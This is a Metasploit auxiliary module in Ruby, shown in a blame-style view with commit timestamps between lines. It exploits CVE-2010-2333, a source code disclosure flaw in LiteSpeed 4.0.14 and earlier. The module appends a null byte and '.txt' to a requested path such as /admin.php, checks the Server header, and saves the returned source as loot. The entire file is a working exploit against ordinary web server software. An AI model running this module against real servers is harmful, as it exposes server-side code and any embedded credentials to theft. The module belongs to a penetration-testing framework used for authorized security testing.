2010-07-01 20:09:08 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-07-01 20:09:08 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'LiteSpeed Source Code Disclosure/Download',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a source code disclosure/download vulnerability in
|
|
|
|
versions 4.0.14 and prior of LiteSpeed.
|
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-2333' ],
|
|
|
|
[ 'OSVDB', '65476' ],
|
|
|
|
[ 'BID', '40815' ],
|
2012-10-23 19:02:09 +00:00
|
|
|
[ 'EDB', '13850' ]
|
2010-07-01 20:09:08 +00:00
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Kingcope', # initial disclosure
|
|
|
|
'xanda' # Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
|
|
|
|
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def target_url
|
2012-11-08 16:42:48 +00:00
|
|
|
uri = normalize_uri(datastore['URI'])
|
2010-07-01 20:09:08 +00:00
|
|
|
"http://#{vhost}:#{rport}#{datastore['URI']}"
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
2012-11-08 16:42:48 +00:00
|
|
|
uri = normalize_uri(datastore['URI'])
|
2010-07-01 20:09:08 +00:00
|
|
|
path_save = datastore['PATH_SAVE']
|
|
|
|
|
|
|
|
vuln_versions = [
|
|
|
|
"LiteSpeed"
|
|
|
|
]
|
|
|
|
|
|
|
|
nullbytetxt = "\x00.txt"
|
|
|
|
|
|
|
|
begin
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => "#{uri}#{nullbytetxt}",
|
2010-07-01 20:09:08 +00:00
|
|
|
}, 25)
|
|
|
|
|
2013-08-21 05:52:33 +00:00
|
|
|
if res.nil?
|
|
|
|
print_error("Connection timed out")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
version = res.headers['Server']
|
2010-07-01 20:09:08 +00:00
|
|
|
|
|
|
|
if vuln_versions.include?(version)
|
|
|
|
print_good("#{target_url} - LiteSpeed - Vulnerable version: #{version}")
|
|
|
|
|
|
|
|
if (res and res.code == 200)
|
|
|
|
|
|
|
|
print_good("#{target_url} - LiteSpeed - Getting the source of page #{uri}")
|
2012-02-20 02:48:00 +00:00
|
|
|
p = store_loot("litespeed.source", "text/plain", rhost, res.body, path_save)
|
|
|
|
print_status("#{target_url} - LiteSpeed - File successfully saved: #{p}")
|
2010-07-01 20:09:08 +00:00
|
|
|
|
|
|
|
else
|
|
|
|
print_error("http://#{vhost}:#{rport} - LiteSpeed - Unrecognized #{res.code} response")
|
|
|
|
return
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
else
|
|
|
|
if version =~ /LiteSpeed/
|
|
|
|
print_error("#{target_url} - LiteSpeed - Cannot exploit: the remote server is not vulnerable - Version #{version}")
|
|
|
|
else
|
2010-07-07 16:36:21 +00:00
|
|
|
print_error("#{target_url} - LiteSpeed - Cannot exploit: the remote server is not LiteSpeed")
|
2010-07-01 20:09:08 +00:00
|
|
|
end
|
|
|
|
return
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|